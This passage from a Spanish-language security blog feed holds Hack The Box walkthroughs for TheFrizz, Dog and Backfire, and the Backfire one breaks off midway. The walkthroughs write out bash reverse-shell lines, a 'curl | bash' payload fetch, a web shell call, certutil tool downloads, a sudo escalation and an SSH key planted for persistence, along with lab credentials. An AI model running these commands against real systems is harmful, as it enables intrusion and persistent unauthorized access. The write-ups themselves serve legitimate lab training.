<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[TheFrizz WriteUp]]></title><description><![CDATA[Se hace un escaneo de nmap para reconocer el entorno con los parametros:

-sV Para identificar las versiones de los servicios expuestos.

-Pn Para omitir el ping a los hosts (asumiendo que están activ]]></description><link>https://blog.0xnano.com/thefrizz-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/thefrizz-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Mon, 01 Sep 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/cd991789-a5a8-4893-925e-98e0d0d0b573.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Se hace un escaneo de <code>nmap</code> para reconocer el entorno con los parametros:</p>
<ul>
<li><p><code>-sV</code> Para identificar las versiones de los servicios expuestos.</p>
</li>
<li><p><code>-Pn</code> Para omitir el ping a los hosts (asumiendo que están activos).</p>
</li>
<li><p><code>-sC</code> Para utilizar los scripts por defecto de <code>nmap</code>.</p>
  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791151013/1845b91c-f7f7-46ef-9e08-4af5fed6dce7.png" alt="" /></li>
</ul>
<p>Al acceder a <a href="http://frizz.htb/"><code>http://frizz.htb/</code></a>, el navegador nos redirige automáticamente a:</p>
<p><a href="http://frizzdc.frizz.htb/home/">http://frizzdc.frizz.htb/home/</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791161269/49b76dd0-1331-46e3-a141-cb2808ac7099.png" alt="" />

<p>Al hacer clic en el botón <strong>Staff Login</strong>, se nos redirige a la ruta <code>/Gibbon-LMS/</code>, donde aparece un panel de login. Allí se identifica que el CMS utilizado es <strong>Gibbon</strong>, versión <strong>25.0.00</strong>.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791169084/61a70805-d29e-43ce-a37e-dbddd0cf6617.png" alt="" />

<p><code>Powered by [Gibbon](</code><a href="https://gibbonedu.org"><code>https://gibbonedu.org</code></a><code>) v25.0.00 | © [Ross Parker](</code><a href="http://rossparker.org"><code>http://rossparker.org</code></a><code>) 2010-2025</code></p>
<hr />
<p>Buscando en Google encontramos dos vulnerabilidades que afectan a esta versión:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791186576/15cc7cbe-9147-4c02-91d6-d95813ef28df.png" alt="" />

<h3>CVE-2023-34598 – LFI</h3>
<p><strong>Repositorio:</strong><br /><a href="https://github.com/maddsec/CVE-2023-34598">https://github.com/maddsec/CVE-2023-34598</a></p>
<p>Esta vulnerabilidad permite <em>Local File Inclusion</em> en el CMS. Lo comprobamos accediendo a: <a href="http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql">http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql</a></p>
<p>Lo cual nos muestra el contenido del archivo <code>gibbon.sql</code>, confirmando la existencia del LFI:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791196380/975e0e6b-cbe8-4383-b791-6fa4005fadae.png" alt="" />

<blockquote>
<p>⚠️ Sin embargo, tras analizar más a fondo, esta vulnerabilidad resultó ser un <em>rabbit hole</em> (camino sin salida), ya que no permite escalar ni obtener acceso al sistema directamente.</p>
</blockquote>
<hr />
<h3>CVE-2023-45878 – File Upload to RCE</h3>
<p><strong>Referencia:</strong><br /><a href="https://pentest-tools.com/vulnerabilities-exploits/gibbon-lms-v25001-file-upload-to-rce_27078">https://pentest-tools.com/vulnerabilities-exploits/gibbon-lms-v25001-file-upload-to-rce_27078</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791205809/2dffb7ad-5941-438d-8286-63c2a6ac16b9.png" alt="" />

<p>Tras investigar un poco más, encontramos el código del exploit:</p>
<p><strong>Exploit en GitHub:</strong><br /><a href="https://github.com/0xyy66/CVE-2023-45878_to_RCE">https://github.com/0xyy66/CVE-2023-45878_to_RCE</a></p>
<p>Este exploit automatiza una cadena de vulnerabilidades que permite escribir archivos arbitrarios y luego ejecutar código remotamente (RCE).</p>
<p>Al ejecutarlo, conseguimos una reverse shell con <code>netcat</code>, logrando <strong>acceso inicial</strong> al sistema.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791217648/af94c81b-d01b-4d78-a495-4810f914af28.png" alt="" />

<hr />
<p>En el sistema encontramos un archivo de configuración con credenciales de la base de datos:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791225597/27a5e321-44e5-404e-b9d9-bc5f7389dddd.png" alt="" />

<p><code>\(databaseServer = '</code><a href="http://localhost"><code>localhost</code></a><code>';</code><br /><code>\)databaseUsername = 'MrGibbonsDB';</code><br /><code>\(databasePassword = 'MisterGibbs!Parrot!?1';</code><br /><code>\)databaseName = 'gibbon';</code></p>
<p>Enumeramos los usuarios del sistema:</p>
<p><code>net user /domain</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791239215/56c219ec-e01a-499c-b43d-7c36bcaa693c.png" alt="" />

<p>Nos conectamos a MySQL usando las credenciales encontradas, y listamos las bases de datos:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791247831/de1ba61e-141c-413c-9445-fd02db3297e2.png" alt="" />

<p>Accedemos a las tablas de la base <code>gibbon</code>, donde encontramos un <em>hash</em> y su <em>salt</em> correspondiente al usuario <code>f.frizzle</code>.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791256791/42eac68f-11f6-4cb7-9801-69c494738790.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791266668/5733a93a-8fae-496b-ba84-c228cd7a0ec5.png" alt="" />

<p>Como <code>hashcat</code> tardaba demasiado, pedimos ayuda a ChatGPT para generar un script en Python que rompiera el hash mediante diccionario.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791277713/67ec7154-5b2e-4b93-ba1a-08f0ea2853dd.png" alt="" />

<p>El script logra encontrar la contraseña:</p>
<p><code>[+] Contraseña encontrada: Jenni_Luvs_Magic23</code></p>
<p>Editamos el archivo de configuración de Kerberos y lo configuramos en el dominio de <code>FRIZZ.HTB</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791286508/012e508c-a66a-47d1-9adc-6f05de101938.png" alt="" />

<p>Generamos un ticket en Kerberos con el usuario <code>f.frizzle</code>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791300226/69b9998a-4669-4c23-8d90-291186a000f3.png" alt="" />

<p>Accedemos por ssh usando Kerberos:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791308680/75ba1eb7-1646-4823-930e-9fbc64728d83.png" alt="" />

<p>Obtenemos la flag de usuario:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791315774/e6d2174f-2dbe-4dd4-b903-c0d89320f5a5.png" alt="" />

<p><code>type user.txt</code><br /><code>05613e97dfb8c5b0880e8b29c08000b9</code></p>
<hr />
<h3>Escalada De Privilegios</h3>
<p>Encontramos archivos en la papelera de reciclaje:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791327102/f5fccb14-1c8c-4eed-904f-b74ec8cf8de4.png" alt="" />

<p>Los copiamos a <code>/Documents</code>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791334588/ddc9a091-c7de-49c9-a89b-83759b6893ce.png" alt="" />

<p>Vemos que se trata de una copia de seguridad (backup):</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791346300/880faf10-311f-44c0-81fc-0e94fbd08e83.png" alt="" />

<p>Lo copiamos a nuestra maquina por scp:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791357737/f842e33d-f6c3-4429-b2b0-8ee6bdd14feb.png" alt="" />

<p>Descomprimimos el archivo 7z:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791366665/94e55ee7-a9d9-4fd9-8b14-4b256b8ba04b.png" alt="" />

<p>Encontramos un archivo <code>waptserver.ini</code> con credenciales:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791375355/00d486ae-86a9-4b9f-b6e9-225f15dbb0e1.png" alt="" />

<p>Obtenemos una clave codeada en base64:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791383694/cc84068b-6e50-4145-94db-94dd03a5f3e4.png" alt="" />

<p><code>!suBcig@MehTed!R</code></p>
<p>Enlistamos los usuarios en <code>/Users</code>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791391375/23fa18a0-3e19-41cf-ac35-1e267f9a70d1.png" alt="" />

<p>Usamos Kerberos nuevamente con <code>m.schoolbus</code> para generar un ticket:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791399289/b6c03be9-7a31-4832-98bb-bd6516875a34.png" alt="" />

<p>Accedemos por ssh usando Kerberos:</p>
<p><code>ssh m.schoolbus@frizz.htb -k</code></p>
<p>Verificamos los privilegios del usuario:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791407795/b3548bab-3d69-438e-8f7b-a4821a593249.png" alt="" />

<p>Vemos que tenemos los permisos:</p>
<ul>
<li><p>SeMachineAccountPrivilege</p>
</li>
<li><p>SeChangeNotifyPrivilege</p>
</li>
<li><p>SeIncreaseWorkingSetPrivilege</p>
</li>
</ul>
<p>Descargamos SharpGPOAbuse.exe en nuestra maquina</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791415999/fb57eff5-a919-47b9-93f9-e16f9911c599.png" alt="" />

<p>Levantamos un servidor web con:</p>
<p><code>python3 -m http.server 80</code></p>
<p>Y descargamos <code>SharpGPOAbuse.exe</code> en la maquina victima con certutil</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791424577/beb6ab81-4b54-4e85-8cd0-1970b93307c6.png" alt="" />

<p>Verificamos que no somos administradores</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791432868/8d7a4b2c-3454-4e1d-a6ab-d8eebb28a1cb.png" alt="" />

<p>Listamos todas las GPO:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791440714/0b9ed28d-42c1-486c-adc7-cda35420e9ed.png" alt="" />

<p>Creamos un nuevo GPO malicioso "Evil-GPO" y lo vinculamos a la OU del DC, luego utilizamos SharpGPOAbuse para modificarlo e incluir al usuario M.SchoolBus dentro del grupo de Administrators de la maquina:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791448464/cf3238f8-2b90-4de6-905c-b1bf9a00897c.png" alt="" />

<p>Forzamos a que se apliquen las políticas del GPO malicioso y verificamos que el usuario <code>M.SchoolBus</code> sea agregado como administrador del sistema:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791457436/b9613582-ff0b-4c4b-8262-ed2642b7d66a.png" alt="" />

<p>Levantamos un servidor web con:</p>
<p><code>python3 -m http.server 80</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791466419/adda8d5a-bff6-4780-a80b-92ac9542c4d3.png" alt="" />

<p>Ponemos un listener de netcat a la escucha en el puerto 4445 y descargamos <code>RunasCs.exe</code> en la maquina victima con certutil:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791474723/4411a02f-6a94-4a08-a91c-c5ba09b39a19.png" alt="" />

<p>Ejecutamos RunasCs como M.SchoolBus para recibir una shell inversa como administradores:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791484445/d2dd3e63-be30-4e15-8c0c-7dea311b70e7.png" alt="" />

<p>Tras ejecutarlo, recibiremos una conexión inversa como administrador:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791492234/1de8e361-48ad-4c9c-b6c1-85d3a8e2d1ef.png" alt="" />

<p>Obtenemos la flag de root:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756791500152/8d1f233c-91df-4467-a02b-27ee76677c6a.png" alt="" />

<p><code>type root.txt</code><br /><code>ccb695f45b54d1804fb24ff0e66ad815</code></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />]]></content:encoded></item><item><title><![CDATA[Dog WriteUp]]></title><description><![CDATA[Se hace un escaneo de nmap para reconocer el entorno con los parámetros:

-sV Para identificar las versiones de los servicios expuestos.

-Pn Para omitir el ping a los hosts (asumiendo que están activ]]></description><link>https://blog.0xnano.com/dog-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/dog-writeup</guid><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Sat, 26 Jul 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/64847116-e1be-475a-a8ce-ca52bfce3941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Se hace un escaneo de <code>nmap</code> para reconocer el entorno con los parámetros:</p>
<ul>
<li><p><code>-sV</code> Para identificar las versiones de los servicios expuestos.</p>
</li>
<li><p><code>-Pn</code> Para omitir el ping a los hosts (asumiendo que están activos).</p>
</li>
<li><p><code>-sC</code> Para utilizar los scripts por defecto de <code>nmap</code>.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756256115888/8c1a5683-ea57-4faa-ade1-185baef1e5f1.png" alt="" style="display:block;margin:0 auto" />

<p>A simple vista podemos observar que es un blog de perros, identificando también 2 usuarios, <code>dobBlackDropSystem</code> y <code>Anonymous</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756256224544/c7439081-7340-4618-a2a5-1cf36c8b0d32.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756256232980/76313d26-76a5-430a-8231-604e4bab2c65.png" alt="" style="display:block;margin:0 auto" />

<p>Basándonos en los resultados de <code>nmap</code>, sabemos que hay un <code>/robots.txt</code> el cual al revisarlo tiene diferentes directorios deshabilitados</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756256248657/baf65277-caed-43a3-9964-739f0addbbcd.png" alt="" style="display:block;margin:0 auto" />

<p>Entre esos directorios, encontramos algunos interesantes como <code>/core</code> y <code>/git</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756256293447/d8575606-6b65-4a5a-aaec-be6470ae0edd.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261400394/d474acf4-f43c-421e-af2d-11013a19cd48.png" alt="" style="display:block;margin:0 auto" />

<p>Como encontramos que el endpoint <code>/git</code> contiene información sensible, procedemos a clonarlo en nuestra maquina utilizando la herramienta <a href="https://github.com/arthaud/git-dumper">git-dumper</a>:</p>
<p><code>$ git-dumper https://10.10.11.58/.git/ ./dog_git_repo</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261412853/e012d02f-80fa-4593-bad0-3a19e57eb3d3.png" alt="" style="display:block;margin:0 auto" />

<p>Dentro del repositorio, encontramos varios archivos del sitio, entre los cuales se encuentran archivos de información que podrían llegar a obtener información sensible</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261455857/5f4239c9-6f89-45be-8598-5f04badf5500.png" alt="" style="display:block;margin:0 auto" />

<p>Utilizamos grep para buscar si hay algún tipo de correo o credenciales que pertenezcan al dominio dog.htb:</p>
<p><code>$ grep -r “@dog.htb”</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261437078/35109bc1-cd86-4416-ba0c-417e2a0570f2.png" alt="" style="display:block;margin:0 auto" />

<p>Obtenemos varios resultados del usuario <code>tiffany@dog.htb</code></p>
<p>Revisamos uno de los archivos de configuración, y vemos que el sitio funciona bajo un CMS llamado backdrop, el cual, si revisamos el archivo <code>update.settings.json</code> muestra que hay una actualización que soluciona un problema la cual no fue implementada.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261472773/93c9654a-4ec8-400f-95a4-dc8b4c27c6d1.png" alt="" style="display:block;margin:0 auto" />

<p>Si revisamos el archivo <code>settings.php</code> podremos ver que hay credenciales de acceso a la base de datos MySQL del sitio</p>
<p><code>$ head settings.php -n 20</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261506403/9b2b4f7b-9b7d-48d7-ac3d-93740526f7c4.png" alt="" />

<p><code>$database = ‘mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop’;</code></p>
<p>Como las credenciales anteriores solo funcionan de manera local, probamos loggearnos en el panel de admin con el usuario <code>tiffany</code> y la clave previamente obtenida <code>BackDropJ2024DS2024</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261518137/97969d77-6eea-4fce-b322-2b952593ce13.png" alt="" />

<p>Buscamos un exploit para el CMS backdrop con searchsploit</p>
<p><code>$ searchsploit backdrop</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261527668/6a03deef-0d40-4c08-8817-d4eb1864bdf4.png" alt="" />

<p>Encontramos un exploit que permite ejecución remota de comandos (RCE) por lo cual, lo descargamos:</p>
<p><code>$ searchsploit -m 52021</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261536949/905920af-7a04-463f-96d0-d3fadcc43afd.png" alt="" />

<p>Tras ejecutarlo, vemos que se genera un archivo malicioso con la shell inversa:</p>
<p><code>$ python 52021.py 10.10.11.58</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261549275/72bbce85-0d57-4923-bafa-f598aeba34dc.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261559355/1b94a797-cd06-49c3-9677-d53c30ee1256.png" alt="" />

<p>Subimos el archivo que contiene nuestra shell al panel de administración como un modulo malicioso</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261569681/0ab9900c-caa7-4a19-b441-a274623c82a6.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261587494/9271d8a5-431b-4e2d-908b-e6e263501382.png" alt="" />

<p>Una vez instalado, procedemos a ejecutar el comando whoami en nuestra shell y vemos que tenemos acceso como <code>www-data</code>:</p>
<p><code>http://10.10.11.58/modules/shell/shell.php?cmd=whoami</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261597246/7939ffe4-5609-4ab5-9adc-25f2554f9364.png" alt="" />

<p>Tras confirmar que tenemos una shell funcionando en el sitio, procedemos a realizar una conexión inversa mediante un listener de netcat en nuestra maquina atacante, poniendo a la escucha el puerto 4444:</p>
<p><code>$ nc -nvlp 4444</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261607461/e5f2c627-ed4c-4bb3-9e20-87f8ed1796e5.png" alt="" />

<p><a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp">Reverse Shell Cheat Sheet - Internal All The Things</a></p>
<p>Ejecutamos el código que nos generara la conexión inversa:</p>
<p><code>bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.161/4444 0&gt;&amp;1'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261618197/92608fc6-4d8f-4432-8a6e-00b3d2ce419e.png" alt="" />

<p>Si el comando se ejecuto correctamente, deberíamos obtener la conexión inversa en nuestro listener de netcat como el usuario <code>www-data</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261661208/e7358b63-5076-4c94-845c-aefdc0052d3a.png" alt="" />

<p>Iniciamos sesión en la base de datos MySQL con las credenciales obtenidas de los archivos de configuración y listamos los usuarios dentro de la base de datos backdrop:</p>
<p><code>$ mysql -uroot -p Enter password: BackDropJ2024DS2024</code><br /><code>use backdrop; select * from users;</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261669066/64a3e229-19c0-488d-93a7-e92100427d9d.png" alt="" />

<p>Como podemos observar, obtenemos multiples usuarios, y dentro de /home hay 2 usuarios llamados <code>jobert</code> y <code>johncusack</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261678004/b04641a8-3b32-4b0d-99bc-5b1b221e9db0.png" alt="" />

<p>Probamos la misma contraseña que usamos para acceder a la base de datos para conectarnos por ssh como el usuario <code>johncusack</code> obteniendo así acceso como usuario:</p>
<p><code>$ ssh johncusack@10.10.11.58 &gt; BackDropJ2024DS2024</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261687584/b3a9525b-327d-4b79-b553-534060f00689.png" alt="" />

<p>Obtenemos la flag de usuario</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261697370/a67e6432-3d6e-4fcc-8a07-bebdcda87538.png" alt="" />

<p>Verificamos que podemos ejecutar con permisos de superusuario con el comando:</p>
<p><code>$ sudo -l</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261715012/d3794b03-6b4d-4e0e-9cd0-4110f1c6bb2d.png" alt="" />

<p>Como pudimos observar, podemos ejecutar con permisos de super usuario <code>/usr/local/bin/bee</code></p>
<p><a href="https://github.com/backdrop-contrib/bee">backdrop-contrib/bee: :bee: Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites.</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261722781/a385ee4b-511e-4909-87f0-b882cb01c6fc.png" alt="" />

<p>Aprovechamos la herramienta bee (CLI de Backdrop CMS) para ejecutar comandos arbitrarios como root y obtener una shell privilegiada:</p>
<p><code>$ sudo /usr/local/bin/bee ev ‘system(“/bin/bash”);’</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261732287/30ce7837-d7a7-4d75-ae38-d06facf3acb4.png" alt="" />

<p>Obtenemos la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756261742762/5ce09ad9-4c59-499e-bd83-417674cdf82d.png" alt="" />

<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />]]></content:encoded></item><item><title><![CDATA[Backfire WriteUp]]></title><description><![CDATA[🔎 Fase de reconocimiento
Se hace un escaneo de nmap para reconocer el entorno con los parametros:

-sV Para identificar las versiones de los servicios expuestos.

-Pn Para omitir el ping a los hosts ]]></description><link>https://blog.0xnano.com/backfire-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/backfire-writeup</guid><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Sun, 08 Jun 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9caf82d0-1620-4440-aeb4-b7f466ea79fd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h3>🔎 <strong>Fase de reconocimiento</strong></h3>
<p>Se hace un escaneo de <code>nmap</code> para reconocer el entorno con los parametros:</p>
<ul>
<li><p><code>-sV</code> Para identificar las versiones de los servicios expuestos.</p>
</li>
<li><p><code>-Pn</code> Para omitir el ping a los hosts (asumiendo que están activos).</p>
</li>
<li><p><code>-sC</code> Para utilizar los scripts por defecto de <code>nmap</code>.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012432347/e4a92780-12d7-42a6-a15a-dc3a13accb3b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>🌐 <strong>Análisis del puerto 8000</strong></h3>
<p>En el puerto 8000 nos encontramos con 2 archivos:</p>
<ul>
<li><p><code>disable_tls.patch</code></p>
</li>
<li><p><code>havoc.yaotl</code></p>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012458978/13f65ae6-dea5-42c3-87ff-ea2d3bd5bcec.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012474201/4ab99d30-6b7b-4f77-b2f7-32fa78ea4b57.png" alt="" style="display:block;margin:0 auto" />

<p>Al inspeccionar el archivo <code>havoc.yaotl</code>, identificamos credenciales en texto claro:</p>
<ul>
<li><p><code>ilya:CobaltStr1keSuckz!</code></p>
</li>
<li><p><code>sergej:1w4nt2sw1tch2h4rd4tc2</code> Esto indica que el servidor ejecuta <strong>Havoc C2</strong>, una plataforma de post-explotación utilizada en entornos de Red Teaming.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012639990/979b0846-b50b-4756-afe0-03ec425992a8.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>🚨 <strong>Explotación de Havoc C2 – SSRF a RCE</strong></h3>
<p>Investigando, encontramos un repositorio que explota vulnerabilidades conocidas en Havoc C2:</p>
<p><a href="https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE">sebr-dev/Havoc-C2-SSRF-to-RCE: This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework. (</a><a href="https://github.com/HavocFramework/Havoc">https://github.com/HavocFramework/Havoc</a><a href="https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE">)</a></p>
<p>Este exploit combina:</p>
<ul>
<li><p><strong>SSRF (Server-Side Request Forgery) – CVE-2024-41570</strong>.</p>
</li>
<li><p><strong>Bypass de autenticación y ejecución remota (RCE)</strong>.</p>
</li>
</ul>
<p>Creamos un payload para obtener una <strong>reverse shell</strong> y creamos un servidor http con python: <code>echo "bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.67/4444 0&gt;&amp;1'" &gt;</code> <a href="http://shell.sh"><code>shell.sh</code></a> <code>python3 -m http.server 80</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012740082/1c244896-47c8-49fd-9e16-b76979da7776.png" alt="" style="display:block;margin:0 auto" />

<p>Usamos las credenciales de <code>ilya</code> para ejecutar el exploit y forzar la ejecución remota:</p>
<p><code>curl</code> <a href="http://10.10.14.67/shell.sh"><code>http://10.10.14.67/shell.sh</code></a> <code>| bash</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012754019/1a2bc7e9-9827-4f1d-abe9-9f713db81552.png" alt="" style="display:block;margin:0 auto" />

<p>✔️ <strong>Conexión recibida correctamente:</strong></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756012777478/c9c5d7d8-85de-4c09-b0ed-6a507a7ab932.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>🔐 <strong>Persistencia SSH</strong></h3>
<p>Para mantener acceso, generamos un par de claves: <code>ssh-keygen -t ed25519 -f ~/.ssh/backfire</code> <code>cat ~/.ssh/</code><a href="http://backfire.pub"><code>backfire.pub</code></a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013102718/d022c837-627a-4e31-8ac1-b23f0cec89d0.png" alt="" style="display:block;margin:0 auto" />

<p>Luego la insertamos en la máquina víctima: <code>echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJMvnl8380kaakxT3UL3asgc2ngmheBv94TmH/XpbTm kali@kali' &gt;&gt; ~/.ssh/authorized_keys</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013136274/b08bc7c2-0966-47af-bc92-962dcdb4ac36.png" alt="" style="display:block;margin:0 auto" />

<p>Ya podemos conectarnos vía SSH sin contraseña:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013200781/b2b5410c-98fc-44a3-83b9-e27a8d28f0de.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>📄 <strong>HardHatC2 expuesto internamente</strong></h3>
<p>Al leer <code>hardhat.txt</code>, descubrimos que Sergej instaló <strong>HardHatC2</strong> para pruebas:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013224739/d794df46-b92c-4e6c-9cb1-68a69a48d386.png" alt="" style="display:block;margin:0 auto" />

<p>Comprobamos servicios internos expuestos: <code>ss -tuln</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013240419/dc9e0aa1-d32e-482f-b0fd-db4f36365c28.png" alt="" style="display:block;margin:0 auto" />

<p>Redirigimos los puertos 7096 y 5000 usando port forwarding: <code>ssh -i ~/.ssh/backfire ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013254275/ef1cb0d4-7a74-4f3a-82c1-4a1c21645600.png" alt="" style="display:block;margin:0 auto" />

<p>Accedemos al panel en <a href="https://localhost:7096"><code>https://localhost:7096</code></a>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013268452/a5b1ae07-eac5-4151-8501-937812a82001.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>💥 <strong>Explotación de HardHatC2 – Auth Bypass + RCE</strong></h3>
<p>Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: <a href="https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7">HardHatC2 0-Days (RCE &amp; AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก</a> Vulnerabilidades destacadas:</p>
<ul>
<li><p>Arbitrary File Write</p>
</li>
<li><p>Authentication Bypass</p>
</li>
<li><p>Remote Code Execution (RCE)</p>
</li>
</ul>
<p>Probamos el <strong>bypass de autenticación</strong>, y confirmamos que se creó el usuario <code>sth_pentest</code>:</p>
